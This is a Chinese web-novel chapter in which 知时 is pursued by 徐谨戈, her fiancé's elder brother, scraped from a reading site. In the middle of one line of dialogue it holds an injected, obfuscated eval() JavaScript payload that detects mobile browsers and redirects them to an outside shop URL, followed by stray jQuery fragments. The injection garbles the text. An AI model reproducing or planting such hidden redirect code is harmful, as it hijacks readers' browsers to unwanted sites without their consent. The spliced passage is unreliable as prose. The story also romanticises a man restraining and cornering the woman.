默认冷灰
24号文字
方正启体

3. 第三章

作者:抹茶波波本书字数:K更新时间:
    “为什么?”


    知时问道。


    徐谨戈回国后虽然很少公开露面,但在江城,关于他的新闻报道不计其数。


    传言某个女明星曾在一个商务性质的酒会上公开向他抛过橄榄枝,但是被无情拒绝了。


    干脆、冷绝、不留一丝情面和转圜的余地.


    成功给外界留下一个难以相与的印象。


    知时并不认为自己具有令徐谨戈折服的魅力


    更加没有值得他利用的价值。


    窗外的冷风,依旧在不停地拍打着玻璃窗,发出“呼呼”的声响。


    可车厢里暖意融融,一丝凉气都没有渗进来。


    徐谨戈伸手,将后座上那些吃完的餐盒和包装袋,一一收拾好。


    他的侧脸很白,是介于冷白和惨白之间的颜色,透着一股疏离的冷意。


    他沉默了很久,久到知时以为他不会回答了。


    他忽然转过头,目光直直地撞进她的眼底。


    “我喜欢你,知时小姐。”


    这是他今晚,第一次,认认真真地,念出她的名字。


    他的声线有些干涩,像是被人揉成一团,又重新展开的A4纸。


    即便费力地抹平了褶皱,那些深刻的痕迹,也依旧清晰可见。


    知时瞳孔骤缩,惊惶抬眼:“你……你说什么!?”


    他们不过一面之缘。


    徐谨戈轻叹一声:“不好意思,开个玩笑。”


    他怎么可能喜欢徐锦山的女人。


    知时不喜欢这种玩笑,冷冷地责怪道:“一点都不好笑。”


    说罢,她拎起高跟鞋和帆布包,抱着层层叠叠的裙摆,打开副驾驶的车门:“谢谢你送我回来。”


    午夜的钟声,仿佛就在此刻敲响。


    灰姑娘终于脱下了水晶鞋,没有丝毫留恋地,离开了那辆不属于她的南瓜马车。


    徐谨戈坐在车里,看着她快步走进楼道的背影。


    直到那扇门关上,才缓缓伸手,拉上了副驾驶的车门。


    他没有着急发动车子,只是趴在方向盘上,静静地休息了一会儿。


    直到楼上那扇窗户里的灯,亮了又灭。


    手机叮了一声,徐谨戈顺手划开屏幕。


    是一个陌生号码发来的短信。


    【大哥,谢谢你今天来参加我的订婚宴,我好开心。】


    徐谨戈刚准备删掉信息,拉黑号码,第二条短信又跳了出来。


    【大哥,有时间记得回家吃饭,我们都很想你。】


    徐谨戈盯着屏幕看了一会,把手机收了起来。


    他直起身,拆开了那份知时没吃完的小面。


    一次性的塑料盖上,凝结了一层细密的水珠。


    有几滴,顺着盖子的边缘,滴落到了剩下的面条里。


    面条已经冷了,硬邦邦的,失去了原本的筋道口感。


    徐谨戈重新拿了一双筷子,几下将那些冷硬的面条搅散,然后大口大口地吃了起来。


    咸涩的味道在口腔里弥漫开来。


    他却像是毫无知觉一般,依旧不停地往嘴里塞着。


    直到胃里被填得满满当当,徐谨戈才后知后觉地意识到,自己刚刚做了什么。


    他向自己的弟妹,求婚了。


    很没道德,但很爽。


    —


    周五。


    知时和几个关系要好的同事相约,去打卡一家名声在外的网红餐厅。


    上车后,几人热热闹闹地讨论着这家店。


    “环境可好了,而且每天都限量接待,我提前一个月预定的呢。”


    “味道怎么样呀?”


    “......我也没吃过,不过无所谓啦,拍照出片就行。”


    为了这家餐厅,即便是工作日,几个女生还是特意精心打扮了一番。


    坐在知时旁边的小雯掏出便携化妆包,轻声道:“知时姐,帮我举下镜子,我补个妆。”


    说着,直接把镜子塞到了知时手里。


    很快便抵达目的地。


    餐厅坐落在市中心,独门独院,闹中取静。


    门口负责接待的服务生将她们引至预定好的座位。


    橙色暖光漫过整间屋子,绿植与金属线条撞出温柔的质感,安静又舒服。


    等菜的间隙,知时起身去了洗手间。


    这家餐厅的洗手间藏得十分隐蔽,知时按着惯性往安全出口的方向找,走到最里头也没看见。


    一位穿着浅蓝色制服的服务生注意到她,上前笑着问道:“你好,是找洗手间吗?”


    知时有些不好意思地点点头。


    “请跟我来。”服务生边走边解释:“很多第一次来的客人都找不到,当初做设计图的时候我们老板坚持要把卫生间单独分隔出来。”


    “到了,就是这。”


    知时和服务生道谢,走进去。


    白色的陶瓷台面摆着几盆开得正好的兰花。


    碧叶垂落,花箭亭亭。


    花瓣是极淡的玉色,花蕊嫩黄,不艳不烈。


    香气清浅干净,混着室内微凉的水汽,清润得让人一呼一吸间都跟着静了下来。


    知时洗了手,从包里摸出口红,照着镜子浅浅抹了一层。


    温柔的豆沙色,素颜涂也不会突兀,反而衬得她气色更好。


    知时看着镜子里的人,心里很满意。


    收起口红,抬头的瞬间。


    面前的化妆镜里飞快闪过一张年轻男人的脸。


    眉骨锋利,黑眸沉沉。


    知时心头猛地一跳,几乎是条件反射地转身。


    身后空无一人,只有两个结伴而来的小女孩挽着手,低声说笑走过。


    知时往脸上拍了两捧冷水,冰凉的触感让她稍稍回神。


    真是眼花了。


    就算真有人,也绝不可能是他。


    擦干手,手机震了震,是同事发来的消息,催她快些回去。


    知时指尖微顿,回了两个字:马上。


    刚拐进走廊,身侧一扇门毫无预兆地被推开。


    一只骨节分明的手猛地伸出来,将她整个人拽了进去。


    “唔——”


    呼救被死死堵在喉间。


    一道清冽又暗哑的声音贴在耳畔响起,“别喊,是我。”


    熟悉的声线让知时浑身一僵。


    男人手掌宽大,牢牢捂着她的嘴,薄荷气息混着体温涌来。


    徐谨戈的呼吸轻拂过她耳尖:“我松手,你别叫。”


    知时点了点头。


    徐谨戈松开手。


    她立刻后退一步,拉开距离,警惕地望着他。


    “你的口红掉了。”


    徐谨戈摊开掌心,一支豆沙色口红静静躺在上面,旁边还印着两道凌乱的唇印。


    知时又羞又恼,狠狠瞪他:“你怎么在这?”


    徐谨戈眉梢微挑:“这家餐厅我不能来?”


    知时深吸一口气,压着发颤的声音:“大哥,你是锦山的大哥,我一直对你留着分寸。”


    “若是不留,”徐谨戈语气散漫,“你想如何?”


    他抓起她的手腕,轻轻按在自己脸颊旁:“打我一耳光?”


    “放开我!”知时用力挣扎,力量差距悬殊,根本挣不脱,“不然我喊人了!”


    徐谨戈果真松了手,却半步不退,将她堵在墙角,退路封得死死的:“和徐锦山约会?”


    “不是……”


    知时这才看清,这里是一间堆放调料的储藏室。


    没有开灯,仅有窗外渗入的微弱月光。


    徐谨戈微微俯身,半边脸隐在阴影里,棱角愈发锋利。


    他忽然往前一步。


    知时心脏狂跳,下意识后退,身后却已是冰冷墙壁,退无可退。“大哥,我和同事一起来的,她们还在外面等我。”


    他靠得太近,温热的呼吸拂在脸上,带着清冽的气息,逼得她浑身紧绷。


    徐谨戈低低笑了一声,那笑声落进耳尖,又麻又痒:“你讨厌我?”


    知时躲不开他的气息,只能偏过头。


    这个动作,彻底将白皙柔嫩的脖颈暴露在徐谨戈面前。


    原本整齐柔和的唇线微微晕染,豆沙色在唇角漫开一小片浅淡的红。


    慌乱狼狈,像刚刚结束一场激烈的亲吻。


    徐谨戈眸光暗了暗,伸出手,慢条斯理地替她抚平被扯乱的衣摆。


    “去玩吧,单我买过了。”


    知时立刻拒绝:“不用,我们AA……”


    徐谨戈轻轻挑开她额前被水汽打湿的碎发,语气轻描淡写,“这么乖,以后怎么玩的过董珊珊啊。”


    等知时重新回到餐厅,同事立刻凑上来,语气带着担心:“怎么去这么久?我们都打算去找你了。”


    知时垂着眼,掩去眼底的慌乱,轻声道:“没事,接了个电话。”


    这家网红餐厅味道确实不错,菜色精致得像艺术品。


    服务员每上一道菜,身边的同事就迫不及待拍照打卡,叽叽喳喳地讨论。


    知时却没什么胃口,沉默地戳着碟子里的烧椒牛肉。


    在同事注意到之前,她不动声色地拉了拉长袖,轻轻盖住手腕上那一圈淡淡的红痕。


    一顿饭,她吃得心不在焉。


    散场时,几人一起走到前台买单,却被服务员笑着告知:已经有人结过账了。


    “是谁呀?”同事们好奇追问。


    服务员看着知时,笑眯眯地说,“一位姓徐的先生,他还说今天有事,下次有机会再请各位吃饭。”


    “哇哦——”


    几道目光齐刷刷落在知时身上,带着心照不宣的打趣,“是谁呀!知时,记得帮我们谢谢他!”


    “一个老同学。”


    知时说完对上服务员真诚友好的目光,又莫名有些心虚。


    出了餐厅,因为回家的方向不一致,几人各自打车回去。


    同事都走了,知时打的车却迟迟未来。


    知时站在门口等了一会,只等到司机让她取消订单的电话。


    “不好意思啊,我儿子突然发烧,我得赶紧回去,麻烦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469630|201407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你取消一下订单。”


    既然是情有可原,知时没有计较,挂掉电话,取消订单。


    网红餐厅为了烘托氛围感,院子里的灯光极暗,绿植上缠绕的橘色灯串形同摆设。


    知时看着手机,一个不注意,踩空了一级台阶。


    脚腕传来一阵剧痛,知时咬着牙,一瘸一拐走到了旁边的长椅上。


    面前微弱的光影突然被挡住,知时抬起头,又是徐谨戈。


    “你怎么还没走?”


    徐谨戈屈膝,在她面前蹲下,“等你。”


    受伤的脚踝忽然被握住。


    徐谨戈轻轻托起她的脚腕,搁在自己膝头,垂眸仔细查看。


    已经红了,还微微发肿。


    察觉到徐谨戈举止不妥,知时身子下意识后退,唤了一声,“大哥。”


    徐谨戈抬头,看向忐忑不安的人,随即笑道,“在呢。”


    “怎么不多穿点?”


    徐谨戈用双手裹住她纤细的脚腕,睫毛垂下,将眼底的情绪遮得严严实实,“不怕老了落下老寒腿?”


    说罢,他脱下外套,盖到知时腿上。


    入冬后,公司暖气给的足。


    知时今天只穿了一条薄打底,在室内还好,出了门就明显不够用。


    徐谨戈的外套不知道是什么材质。


    不重,但很暖和。


    知时的脚踝还握在他手中,指腹微凉,力道却恰到好处。


    就算是亲大哥,到了这个年纪,也不该这样握着妹妹的脚。


    可偏偏是徐谨戈这个隔了几层的“假大哥”,照顾起她来,是这般理所当然。


    徐谨戈,“我先送你去医院拿药,再回去添件衣服。”


    知时本想拒绝,可撞上他沉下来的目光,到了嘴边的话又默默咽了回去。“好吧,谢谢大哥。”


    去医院拍了片,万幸只是轻微扭伤,休养几天便能痊愈。


    医生开了很多药,内服的,外贴的,装了满满一袋。


    徐谨戈将知时扶上车,并没着急走。


    而是拿出一只中性水笔,在每一种药盒上写上吃药的时间和数量。


    灯光落在他侧脸,线条利落,神情专注。


    知时攥紧手指,又松开,反复几次,才轻声开口:“今天谢谢你。”


    徐谨戈从后视镜里扫到她那张素白紧张的脸,眼底藏着笑意:“你准备怎么谢我?”


    知时小声:“……请你吃饭,可以吗?”


    徐谨戈低笑一声,声音低沉磁性:“你觉得,我缺一顿饭?”


    知时知道他不缺,但她能给他的报答仅限于此。


    早知道这样,刚刚疼死也不会上他的车。


    知时抿着唇,在心里思考着。


    徐谨戈写完最后一种药的吃法后,把药盒整理好,重新装回袋子,说道:“行,那就吃饭,时间地点我定。”


    知时松了一口气:“好的。”


    黑色奥迪启动,驶入无边夜色。


    道路车辆稀少,但徐谨戈开得很慢。


    密闭的车厢,知时敏锐的嗅到了一丝百合花香,非常浅,特别淡,但还是被她捕捉到了。


    徐谨戈看着后视镜里那张素白的脸,说:“不用怕我。”


    知时回答的很快:“没,没有。”


    徐谨戈默了片刻,语气冷淡:“我对徐锦山的东西没有兴趣,你不用一副我会对你怎么样的样子。”


    这话说的太不客气,知时很想骂他一顿,可惜脚还痛着,人也还在他车上。


    只能作罢。


    终于到了,知时呼出一口气,解开安全带,“我到了。”


    知时打开车门,下车。


    她的位置距离单元门只有十几步路。


    在医院的时候,医生给她喷了消炎止痛的药,现在药效上来,痛感稍减。


    她走的很慢,很稳。


    身后响起车门合上的声音,和急促的脚步声。


    不等知时回头,一只手已经扣住她的肩膀,另一只手托住她的小腿,将她整个人打横抱起。


    徐谨戈的声音贴着耳边响起,“好人做到底,我送你上去。”


    知时住在五楼,没有电梯。


    老式小区的楼梯又窄又旧,环境也算不上干净。


    徐谨戈的衣摆好几次蹭上积灰的扶手,留下几道清晰的痕迹。


    可他步伐稳如磐石,手臂结实有力。


    到了五楼。


    徐谨戈将她放下来。


    知时很认真的和他道谢,“大哥,我到家了,今天谢谢你。”


    徐谨戈看着她,那双黑色的眼睛几乎要和夜色融为一体,深不见底。


    知时不敢再多看,慢慢关上了门。


    楼道的声控灯坏了,门缝里溢出一点暖黄的光亮。


    很快,又彻底消失。


    徐谨戈站在紧闭的门前,指尖还残留着她脚腕细腻的触感。


    细细的,软软的。


    稍稍一用力,仿佛就能融入血肉。


    徐谨戈缓缓闭上眼,喉结轻轻滚动了一下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)